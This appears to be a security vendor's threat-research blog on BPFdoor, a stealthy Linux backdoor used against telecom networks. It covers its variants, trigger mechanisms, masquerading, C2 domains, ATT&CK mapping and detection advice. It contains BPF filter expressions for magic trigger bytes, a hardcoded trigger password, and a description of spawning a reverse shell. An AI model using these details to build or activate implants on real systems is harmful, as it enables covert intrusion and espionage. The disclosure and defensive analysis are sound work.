udp[8:2] == 0x3182 or (icmp[8:2] == 0x1051 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2] == 0x3321

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udp[8:2] == 0x2048 or (icmp[8:2] == 0x1155 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2] == 0x5433

Earlier versions used SOCK_RAW when creating the AF_PACKET socket. When using SOCK_RAW, the kernel delivers the entire packet, including the link-layer header, while with SOCK_DGRAM the Ethernet header is discarded. This change directly impacts the way packets are parsed.

Multi-protocol parallel sniffing

One new variant sample, which we named variant ‘G’, utilizes a multi-threaded architecture to ensure triple-redundant capture of "wake-up" packets. The malware spawns three independent threads, each responsible for monitoring a specific transport protocol at the raw IP layer.

This is achieved by invoking the socket() system call with protocol-specific parameters for TCP, UDP, and ICMP:

• TCP: socket(AF_INET, SOCK_RAW, IPPROTO_TCP)

• UDP: socket(AF_INET, SOCK_RAW, IPPROTO_UDP)

• ICMP: socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)

The implant achieves simultaneous trigger detection across three protocols by deploying identical BPF filters on protocol-specific raw sockets. This functionality is implemented using three separate threads for protocol capture. This design is crucial: By dedicating a thread to each protocol, the malware prevents high-volume traffic in one protocol from overloading the sniffer and causing it to miss a "magic" trigger arriving via a less-trafficked protocol.

Beyond preventing packet loss, this parallel architecture provides C2 resiliency via built-in fallback channels. Because the BPF filters concurrently sniff TCP, UDP, and ICMP, the threat actor becomes highly resilient to sudden perimeter security changes. If a network defender updates an egress firewall to aggressively block anomalous ICMP or UDP traffic, the attacker can seamlessly switch to sending magic triggers over TCP.

Some samples (Figure 12: ed768dd922742a597257ad684820d7562bb6be215710ec614bd041a22f3d6863) exhibit the usage of threads and a new mutex/process name being spoofed like “hpasmlited”:

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Then start_routine, sub_4089BB, sub_4084F7 proceeds with the old codebase installing the same BPF filter shared among TM variant D samples; this variant supports ICMP relay.

Below is shown the creation of three different kinds of sockets filtering traffic by TCP, UDP, and ICMP:

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Note that a0t is an array containing three BPF filters, each of them containing the same 229 instructions found in TM variant D. 

HPE ProLiant-tuned variant: Living off the land

One variant  (Figure 14: 9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82) was specifically tailored for HPE ProLiant servers, demonstrating a "living off the land" approach through binary masquerading.

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The process name is set to cmathreshd, with realistic flags like -p 5 -s OK, directly impersonating the HPE Insight Management Agents. The malware checks for /var/run/cma.lock. If found, it kills the legitimate HP agent and takes its place. This displacement prevents resource conflicts that would otherwise alert system administrators. The call to unsetenv("LD_PRELOAD") is designed to disable user-mode security hooks (such as local EDRs or rootkit hunters) that monitor system calls.
This specific masquerading tactic demonstrates deep environmental awareness. The threat actors recognize they are operating on physical, bare-metal HPE hardware commonly deployed in 4G and 5G core and edge systems (such as Ericsson-style architectures). 

The active beacon: Guaranteed persistence

Rapid7 variant ‘H’ contrasts with the classic, stealthy BPFDoor sniffer (which generates no outbound traffic). The beacon is proactive and provides guaranteed access by bypassing stateful firewalls that only permit outbound connections. It achieves this via a continuous heartbeat mechanism that resolves dynamic DNS domains, such as ntpussl.instanthq.com and ntpupdate.ddnsgeek.com. By masquerading as Network Time Protocol (NTP) over SSL, the threat actors seamlessly encapsulate their encrypted C2 sessions within what appears to be routine time synchronization or IoT telemetry. This 'hide in plain sight' tactic allows the active beacon to blend into the baseline network noise and establish a direct, unauthenticated connection on port 443 using the old-fashioned statically linked OpenSSL library and RC4-MD5 ciphersuite.

• Heartbeat mechanism: The function actively attempts to resolve the hardcoded C2 domain ntpussl.instanthq.com using the gethostbyname() function. It runs in an infinite loop, attempting to connect if the domain resolves. If the connection fails, it sleeps for a random interval (1 to 2.5 minutes) before trying again — this acts as the Heartbeat.

• Masquerading: The domain ntpussl.instanthq.com mimics NTP (Network Time Protocol) over SSL, blending into standard time-sync or certificate update traffic.

• Activation kill switch: A "Kill Switch" or "Activation" check verifies the IP returned by the DNS query: if ( !strstr(v1, "127.0.0.1") ).

• Direct connection: The malware connects to the resolved IP on port 443 (0x1BB) without requiring authentication.

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Stack strings were employed to bypass basic static signature detection:

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By encapsulating encrypted shell sessions within what appears to be routine time synchronization or IoT telemetry, the threat actors effectively bypass standard firewall rules. Below is the list of domains observed being used by Chinese TAs during espionage campaigns:

"Encrypted" Masquerade

• Domain: ntpussl[.]instanthq.com

• Function & analysis: Encrypted Shell/Tunneling. "ntpussl" recalls an ssl connection with an NTP server. (195b98211d1ce968669a0740ca08d0ddcf03a2df03a47e2e70550f6c002b49e8; 9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82).

"System Update" Disguise

• Domain: ntpupdate.ddnsgeek[.]com
• Function & analysis: Standard Utility Mimicry. This domain mimics the common ntpdate utility. The use of terms like "geek" or "update" is a social engineering tactic, as security analysts often overlook such domains, assuming they belong to benign OS background processes (ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4).

"Persistence" Disguise

• Domain: ntpupdate.ygto[.]com
• Function & analysis: Rapid IP Rotation. This domain is employed for dynamic DNS updates, enabling rapid IP rotation. If the primary C2 IP address is blocked, the attackers update the DDNS record at ygto.com to maintain command-and-control access.

"IoT/Camera" Disguise

• Domain: ntpd.casacam[.]net
• Function & analysis: Blending with residential traffic. Masquerades as a time check service for IP cameras. Since casacam.net is a legitimate DDNS provider for DVRs, traffic to this domain easily blends into the millions of devices monitored by telecom networks, especially in residential broadband environments.

Note: The domains ntpupdate.ygto[.]com and ntpd.casacam[.]net are involved in generic trojan/spam campaigns.

Rapid7 variants I,J,K and L

Rapid7 variant “I” uses an 11-instruction BPF filter targeting TCP port 9999, enforcing a two-step handshake, requiring firstly new magic bytes (0xA9F205C3) in the tcp payload, secondly the presence of a hardcoded magic password (dP7sRa3XwLm29E). Finally, it extracts the attacker’s IP and port to spawn an unencrypted reverse shell.

Rapid7 assigned icmpShell and httpShell variants the letters J,K respectively while the letter L is reserved for samples exhibiting only the ICMP relay feature. To summarize:

• Variant J: ICMP relay + HTTP tunneling + icmpShell

• Variant K: ICMP relay + HTTP tunneling

• Variant L: ICMP relay

MITRE ATT&CK Matrix Mapping

Tactic: Execution

T1059.004: Unix Shell

• Implementation details: Hijacks a pseudo-terminal (PTY) utilizing fork() and dup2().
• Variation: Both

Tactic: Defense Evasion

T1036.004: Masquerading

• Implementation details: Alters process arguments to mimic benign daemons like qmgr.
• Variation: Both

T1070.003: Clear History

• Implementation details: Injects HISTFILE=/dev/null into environment variables.
• Variation: Both

T1027: Obfuscated Files Information

• Implementation details: Stack strings for passwords and paths prevent static extraction.
• Variation: Both

T1564: Hide Artifacts

• Implementation details: Uses AF_PACKET sniffing to remain invisible to local netstat/ss.
• Variation: Both

Tactic: Persistence

T1205: Traffic Signaling

• Implementation details: Employs magic bytes and flags like 0xFFFFFFFF as wake-up triggers.
• Variation: Both

Tactic: Command & Control

T1573.001: Symmetric Cryptography

• Implementation details: e.g. Enforces the X: plaintext tag and encrypts the underlying PTY output via an RC4 cipher (using the hardcoded ICMP key).
• Variation: Both

T1071.001: Application Layer Protocol

• Implementation details: Blends in by utilizing formatted HTTP POST requests with hardcoded URIs up to 100-byte hexadecimal bodies.
• Variation: httpShell

T1095: Non-App Protocol

• Implementation details: Transmits exfiltration via crafted ICMP Echo Requests.
• Variation: Both

T1090: Proxy

• Implementation details: Uses ICMP relay to bounce traffic through internal segments.
• Variation: Both

T1001: Data Obfuscation

• Implementation details: icmpShell hides its tracking mechanisms directly inside the network layer headers. By truncating the Linux Process ID (PID) and injecting it into the 16-bit ICMP Identifier field, and hardcoding the ICMP Sequence Number to 1234, it obfuscates its session tracking data as standard network metadata.
• Variation: icmpShell

T1572: Protocol Tunneling

• Implementation details: ICMP tunneling
• Variation: icmpShell

T1090: Proxy

• Implementation details: The BPF filter concurrently sniffs TCP, UDP, and ICMP. If one protocol is blocked by egress filtering, the attacker can seamlessly utilize an alternate protocol to trigger the shell without reconfiguring the implant.
• Variation: Both

Defensive depth and detection guidance

Detection must shift from looking for payload content to identifying structural anomalies and static protocol markers.

• Suricata/NIDS focus: Target the hardcoded 1234 sequence number used in custom functions and the technically invalid ICMP Code 1 injected by the heartbeat thread.

• Host monitoring: Monitor for processes whose executable path does not exist on disk and spoofed processes running as root (e.g., zabbix_agentd, dockerd).

• Auditd rules: Monitor the creation of AF_PACKET sockets (capturing SOCK_RAW and SOCK_DGRAM) and the setsockopt call used to attach BPF filters.

• Rapid7 triage script: Utilize the rapid7_bpfdoor_check.sh script to check for zero-byte mutex files and active BPF filters attached to packet sockets. Get the complete checklist at Rapid7’s github.

Final takeaways

• Kernel-level evasion: The shift to SOCK_DGRAM allows the malware to simplify magic packet parsing by letting the host kernel decapsulate tunnels.

• Layer 7 camouflage: Weaponized SSL termination and "magic ruler" padding ensure trigger bytes survive WAF/Proxy interference.

• Deep-network lateral movement: The "Hidden IP" field transforms infected machines into invisible network routers for bidirectional ICMP PTY tunnels.

• New Variants: the newly identified features in BPFDoor samples highlight how TAs are tailoring and reusing BPFDoor’s code to the target environment. The rapid7 variant H (active beacon) stands out as it tries to blend in with the network traffic contacting fake NTP update servers.

• Operational security: The malware can instruct the infected node to spawn a shell to the source of the magic packet using the signed -1, without embedding the C2 or proxy IP in the packet payload. Furthermore, unlike httpShell, the icmpShell is designed to run without requiring live interaction as it terminates itself after 12s of inactivity, demonstrating how surgical and precise the TA intervention is when accessing the core of the backbone, achieving maximum stealthiness.

For an exhaustive deep dive of the assembly code, BPF bytecode, and exact packet structures used by icmpShell and httpShell variants, please refer to our technical whitepaper here. You can also view our on-demand webinar here.

Executive overview

The strategic positioning of covert access within the world’s telecommunication networks

A months-long investigation by Rapid7 Labs has uncovered evidence of an advanced China-nexus threat actor, Red Menshen, placing some of the stealthiest digital sleeper cells the team has ever seen in telecommunications networks. The goal of these campaigns is to carry out high-level espionage, including against government networks.

Telecommunications networks are the central nervous system of the digital world. They carry government communications, coordinate critical industries, and underpin the digital identities of billions of people. When these networks are compromised, the consequences extend far beyond a single provider or region. That level of access is, and should be, a national concern as it compromises not just one company or organization, but the communications of entire populations.

Over the past decade, telecom intrusions have been reported across multiple countries. In several cases, state-backed actors accessed call detail records, monitored sensitive communications, and exploited trusted interconnections between operators. While these incidents often appear isolated, a broader pattern is emerging.

Why telecom networks are strategic espionage targets

Telecommunications infrastructure provides a uniquely valuable strategic positioning.

Modern telecom networks are layered ecosystems composed of routing systems, subscriber management platforms, authentication services, billing systems, roaming databases, and lawful intercept capabilities. These systems rely on specialized signaling protocols such as SS7, Diameter, and SCTP to coordinate identity, mobility, and connectivity across national and international boundaries.

Persistent access within these environments enables far more than a conventional data breach. An adversary positioned inside the telecom core may gain visibility into subscriber identifiers, signaling flows, authentication exchanges, mobility events, and communications metadata. In the most concerning scenarios, this level of access could support long-term intelligence collection, large-scale subscriber tracking, and monitoring of sensitive communications involving high-value geopolitical targets.

Telecommunications networks sit at the intersection of identity, mobility, and global connectivity. Compromise at this layer carries national and international implications.

A structured campaign, not isolated incidents

What looks like discrete breaches increasingly resembles a repeatable campaign model designed to establish persistent access inside telecommunications infrastructure.

Our investigation uncovered a long-term and ongoing operation attributed to a China-nexus threat actor. Rather than conducting short-term intrusion activity, the operators appear focused on long-term positioning by embedding stealthy access mechanisms deep inside telecom and critical environments and maintaining them for extended periods.

In effect, attackers are placing sleeper cells inside the telecom backbone: dormant footholds positioned well in advance of operational use.

Across investigations and public reporting, we observe recurring elements: kernel-level implants, passive backdoors, credential-harvesting utilities, and cross-platform command frameworks. Together, these components form a persistent access layer designed not simply to breach networks, but to inhabit them.

How BPFdoor enables covert, deep-seated persistence

At the center of this activity is BPFdoor, a stealth Linux backdoor engineered to operate within the operating system kernel.

Unlike conventional malware, BPFdoor does not expose listening ports or maintain visible command-and-control channels. Instead, it abuses Berkeley Packet Filter (BPF) functionality to inspect network traffic directly inside the kernel, activating only when it receives a specifically- crafted trigger packet. There is no persistent listener or obvious beaconing. The result is a hidden trapdoor embedded within the operating system itself.

This approach represents a shift in stealth tradecraft. By positioning below many traditional visibility layers, the implant significantly complicates detection, even when defenders know what to look for.

Our research indicates BPFdoor is not an isolated tool, but part of a broader intrusion model targeting telecom environments at scale.

How attackers gain initial access to telecom environments

These findings reflect a broader evolution in adversary tradecraft. Attackers are embedding implants deeper into the computing stack — targeting operating system kernels and infrastructure platforms rather than relying solely on user-space malware.

Telecom environments — combining bare-metal systems, virtualization layers, high-performance appliances, and containerized 4G/5G core components — provide ideal terrain for low-noise, long-term persistence. By blending into legitimate hardware services and container runtimes, implants can evade traditional endpoint monitoring and remain undetected for extended periods.

For defenders, the implications are significant. Many organizations lack visibility into kernel-level operations, raw packet-filtering behavior, and anomalous high-port network activity on Linux systems. Addressing this threat requires expanding defensive visibility beyond the traditional perimeter to include deeper inspection of operating system behavior and infrastructure layers.

Sharing intelligence responsibly

Our investigation to identify potential victims is ongoing and, where potential compromise has been discovered, we have notified affected parties through relevant authorities or direct communication with our customers.

As part of our responsible research process, we have collaborated with government partners and national CERTs to share findings and indicators associated with this activity. When our analysis identified infrastructure that may have been impacted, we proactively notified the relevant organizations and provided detection guidance to assist with investigation and response while the research was still underway.

Rapid7 Intelligence Hub customers have access to the full technical details and indicators of compromise within the platform, including Surricata rules. Those rules are also available through AWS Marketplace, where we offer our curated AWS firewall rule sets. 

Technical analysis

The sections that follow examine how modern telecommunications networks are structured, how initial access is established, and how BPFdoor and related tooling enable infrastructure-level persistence inside the telecom backbone.

Modern telecom network structure

To understand why telecom environments are such attractive strategic targets, it helps to visualize their layered architecture (Figure 2). At the outer edge sit customer-facing services and access infrastructure: mobile base stations (RAN), fiber aggregation routers, broadband gateways, DNS services, SMS-controllers, roaming gateways, security appliances like firewalls, proxies, VPNs, and internet peering points. These edge systems connect into the operator’s IP core and transport backbone, where high-capacity routers and switches move massive volumes of voice, data, and signaling traffic across regions and international borders.

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Deeper inside lies the control plane, the heart of the telecom network, built around subscriber management systems such as HLR/HSS or UDM, authentication platforms (AuC), policy control functions, billing systems, lawful intercept platforms, and roaming databases. These systems communicate using specialized telecom signaling protocols such as SS7, Diameter, and increasingly SCTP-based signaling for LTE and 5G core components. At the foundation, much of this infrastructure ultimately runs on hardened, but often standard, Linux or BSD-based bare-metal servers, virtualization stacks, and high-performance network appliances. When an adversary implants a persistent backdoor at the kernel level within these environments, they are not simply compromising a server, they are positioning themselves adjacent to subscriber data, signaling flows, and the mechanisms that authenticate and route national and international communications.

Initial access

Telecom intrusions rarely begin deep inside the core. Instead, attackers focus on exposed edge services and internet-facing infrastructure. Techniques such as exploitation of public-facing applications (T1190) and abuse of valid accounts (T1078) are repeatedly observed. Devices commonly targeted include: Ivanti Connect Secure VPN appliances, Cisco IOS and JunOS network devices, Fortinet firewalls, VMware ESXi hosts, Palo Alto appliances, and even web-facing platforms like Apache Struts. These systems sit at the boundary between external traffic and internal telecom environments, making them high-value entry points. Once compromised, they provide authenticated pathways into the provider’s network, often without triggering traditional endpoint detection mechanisms.

Let’s highlight some of the tools we observed during initial access and attempt to get more credentials for lateral movement.

CrossC2

Once initial access is secured, the operators frequently deploy Linux-compatible beacon frameworks such as CrossC2. This Cobalt Strike-derived loader enables beacon functionality on Linux hosts and has been repeatedly observed in PRC-aligned intrusion campaigns. It provides the same post-exploitation capabilities traditionally seen in Windows environments, command execution, pivoting, staging, but tailored for Linux-heavy telecom infrastructure. CrossC2 allows operators to blend into server environments that form the backbone of telecom operations, particularly edge devices and core routing systems. Just as with the Cross C2 configuration, investing reveals the C2 server. For example:

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TinyShell

For long-term persistence, actors often rely on TinyShell, an open-source passive backdoor framework repurposed and customized by multiple APT groups. TinyShell is frequently observed on boundary devices such as firewalls, VPN appliances, and virtualization hosts. Compiled for Linux and FreeBSD, it is designed with stealth in mind: minimal network footprint, passive communication model, and reliable remote command execution capabilities. 

Keyloggers and bruteforcers

After foothold establishment, attackers focus on persistence and lateral movement. Tooling such as Sliver, CrossC2, and TinyShell are complemented by SSH brute forcers and custom ELF-based keyloggers. In some cases, operators deploy brute-force utilities containing pre-populated credential lists tailored for telecom environments, even including specific usernames like “imsi,” referencing subscriber identity systems. This level of contextual awareness indicates reconnaissance and targeting aligned with telecom operational terminology. The goal is clear: move laterally, harvest credentials, and reach control-plane systems where subscriber data and signaling infrastructure reside.

BPFdoor

BPFdoor first came to broader public attention around 2021, when researchers uncovered a stealthy Linux backdoor used in long-running espionage campaigns targeting telecommunications and government networks. The BPFDoor source code reportedly leaked online in 2022, making the previously specialized Linux backdoor more accessible to other threat actors. Normally, BPF is used by tools like tcpdump or libpcap to capture specific network traffic, such as filtering for TCP port 443. It operates partly in kernel space, meaning it processes packets before they reach user-space applications.

BPFdoor abuses this capability. Rather than binding to a visible listening port, the implant installs a custom BPF filter inside the kernel that inspects incoming packets for a specific pattern, a predefined sequence of bytes often referred to as a “magic packet” or “magic byte.” If the pattern does not match, nothing happens. The traffic continues as normal. No open port or obvious process-accepting connections. But when the correct sequence is delivered to the correct destination port, the behavior changes instantly.

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Imagine retrieving a parcel from a secure pickup locker. The locker sits quietly in public view, no alarms, no obvious signs of activity. It only opens when the correct code is entered.

BPFdoor behaves the same way.

The implant remains dormant inside the Linux kernel, passively inspecting network traffic. It does not advertise itself. It does not respond to scans. But when an operator sends the correct “code”, the specific magic byte sequence embedded in a crafted packet, the BPF filter recognizes the pattern and triggers the next stage.

Instead of opening a physical door, it spawns a bind shell or reverse shell. Importantly, this activation can occur without a traditional listening service ever being visible in netstat or ss. To a defender, the system appears clean; there is no persistent open port to detect.

Before we showcase this, something important to note is that BPFdoor operations consist of two distinct components: the implant and the controller. 

The implant is the passive backdoor deployed on the compromised Linux system, where it installs a malicious BPF filter and silently inspects incoming traffic for a predefined “magic” packet. It does not continuously beacon or expose a listening port, making it extremely stealthy. 

The controller, on the other hand, is operated by the attacker and is responsible for crafting and sending the specially formatted packets that activate the backdoor and establish a remote shell. While it can be run from attacker-controlled infrastructure such as compromised routers or external systems, the controller is also designed to operate within the victim’s environment itself. In this mode it can masquerade as legitimate system processes and trigger additional implants across internal hosts by sending activation packets or by opening a local listener to receive shell connections, effectively enabling controlled lateral movement between compromised systems. In essence, the implant acts as the hidden lock embedded within the system, while the controller functions as the key that can activate it. A deeper technical analysis of the controller architecture and its role in lateral movement will be covered in a forthcoming technical blog.

To demonstrate how these first backdoors work, we created the video below, in which we are running a BPFdoor made visible. Next, we send the magic packet and instructions to the IP address and port we are listening on. Then the BPFdoor opens up the “safe” and creates the tunnel. In the final part of the demo, we see that on our Netcat listener, we have a remote shell and can query the system.

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Next, we will highlight how we started to hunt for BPFdoor.

Hunting for BPFdoor variants

Since we were aware of several BPFdoor attacks and samples circulating, we started hunting for more samples and developed internal tools to extract, compare, and detect early indicators of new features. One threat hunting angle Rapid7 Labs really loves to focus on is code similarity of samples. Code similarity of malware samples can result in clusters of samples with similar activity, but most importantly, also demonstrate outliers that are potential candidates for research since they do not share commodity with the other samples.

The BPFdoor samples we collected and hunted for are all Executable and Linkable Format (ELF) files, but we are aware of samples compiled for running on Solaris. ELF is the standard binary file format for executables, object code, shared libraries, and core dumps on Linux and Unix-like operating systems. For the ELF files, we wrote a custom tool for clustering ELF/BPFdoor. By extracting .text section byte code blocks, generating MinHash signatures, and completing a few other steps, it will then compute exact Jaccard similarity and export the resulting similarity graph for visual cluster analysis.

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In our visualization, we clearly observe certain clusters of BPFdoor, but also outliers and smaller clusters that were up for investigation. The thicker the line, the more similar the code is to the samples it is attached to. By creating a feature comparison/extraction tool, we started to discover interesting features in the samples, which led us to a new controller discovery and security bypass feature. For example, we discovered a variant we dubbed “F” that uses a 26 BPF instruction filter with new magic packets.

Although it was previously reported that some samples support the Stream Control Transmission Protocol (SCTP), there is a tendency to read over it and not put it into the right context of what the consequences are. SCTP is not typical enterprise traffic; it underpins Public Switch Telephone Network (PSTN) signaling and real-time communication between core 4G and 5G network elements. By configuring BPF filters to inspect SCTP traffic directly, operators are no longer just maintaining server access, they are embedding themselves into the signaling plane of the telecom network. This is a fundamentally different level of positioning. Instead of sitting at the IT perimeter, the implant resides adjacent to the mechanisms that route calls, authenticate devices, and manage subscriber mobility.

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Access to SCTP traffic opens powerful intelligence collection opportunities. In legacy and transitional environments, improperly secured signaling can expose SMS message contents, IMSI identifiers, and source/destination metadata. By observing or manipulating traffic over SCTP commands such as ProvideSubscriberLocation or UpdateLocation, an adversary can track a device’s real-world movement. In 5G environments, traffic over SCTP carries registration requests and Subscription Concealed Identifiers (SUCI), allowing identity probing at scale. At this point, the compromise is no longer about server persistence; it becomes population-level visibility into subscriber behavior and location. Translated, you could track individuals of interest. 

Interesting observations

The bare-metal to telecom equipment link

During the code investigations, we discovered that some BPFdoor samples are using code to mimic the bare-metal infrastructure, particularly enterprise-grade hardware platforms commonly deployed in telecom environments. By masquerading as legitimate system services that run only on bare metal, the implant blends into operational noise. This is especially relevant in environments leveraging HPE ProLiant and similar high-performance compute systems used for 5G core and edge deployments. 

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In the above screenshot of one of the BPFdoor samples, we observed the processname “hpasmlited”.

By mimicking legitimate service names and process behavior of HPE ProLiant servers, attackers ensure the implant appears native to the hardware environment, a tactic that significantly complicates detection. Several of these service names have been observed in BPFdoor samples, but this name stood out. The hpasmlited.pid creates process threads, and mimics daemon-style behavior consistent with hardware monitoring services. The real hpasmlited process belongs to HPE’s Agentless Management Service, which runs on bare-metal ProLiant servers to expose hardware telemetry and system health data.

By adopting this name and writing a corresponding PID file, the malware blends into expected operational noise on telecom-grade ProLiant infrastructure. Of course this is not accidental naming, it demonstrates environment awareness and targeting intent. The operators appear to know they are running on physical HPE hardware commonly deployed in 4G/5G core and edge systems. By impersonating a trusted hardware management daemon that administrators expect to see, the implant reduces suspicion during forensic review while embedding itself directly into the physical backbone layer of telecom infrastructure. This tactic reflects a broader strategy: hide not just in Linux, but in the hardware identity of the telecom environment itself.

Mimicking containers

A second strategy involves spoofing core containerization components. Critical 5G core components such as the Access and Mobility Management Function (AMF), Session Management Function (SMF), and User Data Management (UDM) run as cloud native network functions inside Kubernetes pods. The following code excerpt demonstrates that the implant is aware of it.

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Docker Daemon (/usr/bin/dockerd) and containerd: The malware is executed with root privileges and adopts the exact command-line arguments of a legitimate Docker daemon (e.g., -H fd:// --containerd=/run/containerd/containerd.sock).

Recap for a moment

Up to this point, what we’ve described in our technical analysis has, more or less, been publicly available information; however, these pieces have not been assembled in a way that provides the context Rapid7 Labs has discovered through its in-depth investigation. Therefore, before we deep dive into some of the new technical findings that completes the picture of what is truly happening here, let’s pause for a moment to sync up on what we’ve just described. 

So far, our findings illustrate that BPFdoor is far more than a stealthy Linux backdoor. The kernel-level packet filtering, passive activation through magic packets, masquerading as legitimate hardware management services, awareness of container runtimes, and the ability to monitor telecom-native protocols such as SCTP, point to a tool designed for deep infrastructure positioning. Rather than targeting individual servers, the operators appear to focus on the underlying platforms that power modern telecommunications networks: bare-metal systems running telecom workloads, cloud-native Kubernetes environments hosting Containerized Network Functions, and the signaling protocols that coordinate subscriber identity, mobility, and communication flows. In this context, BPFdoor functions as an access layer embedded within the telecom backbone, providing long-term, low-noise visibility into critical network operations.

What Rapid7 found in newer BPFdoor variants

The following sections provide a high-level overview of several newly observed capabilities and behavioral patterns in recent BPFdoor samples. While these findings highlight important technical developments, this blog intentionally focuses on the architectural implications and operational context rather than a full reverse-engineering deep dive. Detailed technical analyses, including code-level breakdowns, will be published in upcoming research posts.

During our investigation, we identified a previously undocumented variant of BPFdoor that introduces several architectural changes designed to improve stealth and survivability in modern enterprise and telecom environments. We will highlight these features and illustrate how the malware continues to evolve beyond the earlier “magic packet” activation model.

Network-level invisibility: The BPF trapdoor

As we described before, the early BPFdoor installed a Berkeley Packet Filter inside the Linux kernel that inspected incoming network traffic. When a specially crafted “magic packet” containing a predefined byte sequence arrived at the correct port, the backdoor would activate and spawn a shell. Because the system never actually opened a port, tools such as netstat, ss, or nmap saw nothing unusual.

The newly observed variant evolves this concept. Instead of relying on a simple magic packet that could potentially be detected by intrusion detection signatures, the trigger is now embedded within seemingly legitimate HTTPS traffic. The attacker sends a carefully crafted request that travels through standard network infrastructure such as reverse proxies, load balancers, or web application firewalls. Once the traffic reaches the compromised host and is decrypted as part of normal SSL termination, the hidden command sequence can be extracted and used to activate the backdoor. In essence, in our previously mentioned analogy explaining the magic packet mechanism, the safe still requires a code, but now the code is concealed inside normal, encrypted web traffic, allowing it to pass through modern security controls before unlocking the trapdoor.

Layer 7 camouflage and the “magic ruler”

To remain reliable across proxy layers, the attackers introduced a clever parsing mechanism. HTTP proxies often modify headers by inserting additional fields such as client IP addresses, timestamps, or routing metadata. These changes can shift the position of data within the request and break traditional signature-based triggers. To solve this problem, the attackers designed a mathematical padding scheme that ensures a specific marker, in the observed samples the string “9999”, always appears at a fixed byte offset within the request.

This is where the 26-byte or 40-byte “magic ruler” comes into play. Rather than parsing the entire HTTP header, which can vary depending on proxy behavior, the malware treats the request body as a predictable coordinate space. By carefully padding the HTTP request with filler bytes, the attacker ensures that the marker always lands exactly at the 26th byte offset of the inspected data structure. The implant simply checks this fixed position; if the marker appears at that byte location, it interprets the surrounding data as the activation command.

Because the header itself can fluctuate while the padded payload remains predictable, the malware does not need to understand or parse the full HTTP structure. Instead, it relies on this fixed “measurement point”, effectively using the 26-byte offset as a ruler inside the packet. This technique allows the trigger to survive proxy rewriting and header injection while still remaining hidden inside otherwise normal HTTPS traffic. The 26-byte rule is used in case of a socket creation with the “SOCK_DGRAM” flags, but in case of a “SOCK_RAW” flag, it will use a 40-byte ruler.

In practice, this turns the messy, variable HTTP protocol into something the malware can treat like a fixed coordinate system, enabling what could be described as dynamic Layer-7 camouflage, a surprisingly simple but effective technique for hiding command triggers inside legitimate encrypted web traffic.

The RC4-MD5 paradox

Another interesting feature of the new controller is its continued use of the legacy RC4-MD5 encryption routine. While this combination is considered deprecated in modern cryptographic standards, it still appears in several malware samples. In this case, the RC4-MD5 implementation is not part of TLS, but rather a lightweight encryption layer applied to the interactive command-and-control channel after the backdoor is activated. RC4 provides extremely fast stream encryption suitable for interactive shells, introducing minimal latency during command execution. In addition, the use of older or non-standard encryption routines can sometimes confuse inspection systems, particularly when traffic does not follow typical protocol expectations. Finally, reuse of older cryptographic modules often reflects code lineage and operational efficiency, adversaries frequently recycle proven components across campaigns. In this case, code comparison revealed similarities with routines that have circulated in Chinese-nexus malware families such as RedXOR and PWNIX for several years.

ICMP control channel: “phone home”

While earlier BPFdoor variants focused primarily on covert activation, the new sample also introduces a lightweight communication mechanism built around Internet Control Message Protocol (ICMP). The code excerpt shows the malware preparing an ICMP payload and inserting a specific value  “0xFFFFFFFF”  into a field before transmitting the packet using a dedicated routine (send_ICMP_data). At first glance this appears trivial, but the logic reveals something more interesting: The ICMP packet is not just a signal back to the operator, it is also used as a control mechanism between compromised systems.

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In this model, ICMP functions as a minimal command channel between infected hosts. One compromised server can forward specially crafted ICMP packets to another, effectively passing along execution instructions without requiring traditional command-and-control traffic. The key marker in this mechanism is the value 0xFFFFFFFF (signed as -1), which acts as a destination signal embedded inside the packet structure. When a receiving host detects this value, it interprets the packet as a terminal instruction rather than something to be forwarded further.

In practical terms, Server A is telling Server B: “You are the final destination.” Instead of relaying the signal onward, the receiving system executes the next stage, typically triggering the reverse shell or command handler. This simple signaling mechanism allows the operators to control how far a command propagates through compromised infrastructure without introducing additional protocol complexity.

What makes this mechanism notable is its simplicity. Rather than expanding the structure of the activation packet or introducing additional fields, the attackers reuse an existing value within the packet structure to signal the end of the chain. By setting this field to 0xFFFFFFFF, they effectively create a “do not forward” flag inside their communication channel. This allows them to manage hop behavior across compromised nodes while keeping the packet format compact and consistent. 

Key takeaways

Taken together, the newly observed capabilities demonstrate how BPFdoor has evolved beyond a stealth backdoor into a layered access framework. The updated variant combines encrypted HTTPS triggers, proxy-aware command delivery, application-layer camouflage techniques, ICMP-based control signals, and kernel-level packet filtering to bypass multiple layers of modern network defenses. Each technique targets a different security boundary, from TLS inspection at the edge, to IDS detection in transit, and endpoint monitoring on the host, illustrating a deliberate effort to operate across the full defensive stack.

Kernel-level backdoors are redefining stealth.
Tools like BPFdoor operate below traditional visibility layers, abusing Berkeley Packet Filter mechanisms to create network listeners that do not expose ports, processes, or conventional command-and-control indicators.

Telecommunications infrastructure is a prime espionage target.
Modern 4G and 5G networks rely on complex stacks of signaling systems, Containerized Network Functions, and high-performance infrastructure. Access to these environments can enable long-term intelligence collection, subscriber monitoring, and deep visibility into national communications infrastructure.

Security controls can be turned into delivery mechanisms.
In the latest BPFdoor variant, attackers weaponize normal security workflows. Traffic that passes through TLS termination and deep packet inspection can deliver malicious commands once it reaches the decrypted internal zone.

BPF-based implants are likely the beginning of a larger trend.
BPFdoor and new eBPF malware families like Symbiote demonstrate how kernel packet filtering can be abused for stealth persistence. As defenders improve visibility at higher layers, adversaries are increasingly shifting implants deeper into the operating system.

How defenders can detect BPFdoor activity

Detecting these threats requires shifting visibility deeper into the operating system and network stack, focusing on indicators such as unusual raw socket usage, anomalous packet filtering behavior, and unexpected service masquerading on critical infrastructure hosts. 

To support defenders in identifying potential BPFdoor activity, we developed a scanning script designed to detect both previously documented variants and the newer samples discussed in this research. The script focuses on identifying indicators associated with the stealth activation mechanism, kernel-level packet filtering behavior, and process masquerading techniques used by BPFdoor implants. By combining checks for known artifacts and behavioral patterns, the scanner helps security teams quickly assess whether systems may be impacted.

We are making this tool available to the community to assist organizations in proactively identifying potential compromises. The scanner can be used across Linux environments to search for artifacts linked to BPFdoor activity, including indicators observed in both historical samples and the latest variant analyzed during this research. Our goal is to help defenders rapidly validate exposure and begin incident response investigations where necessary.

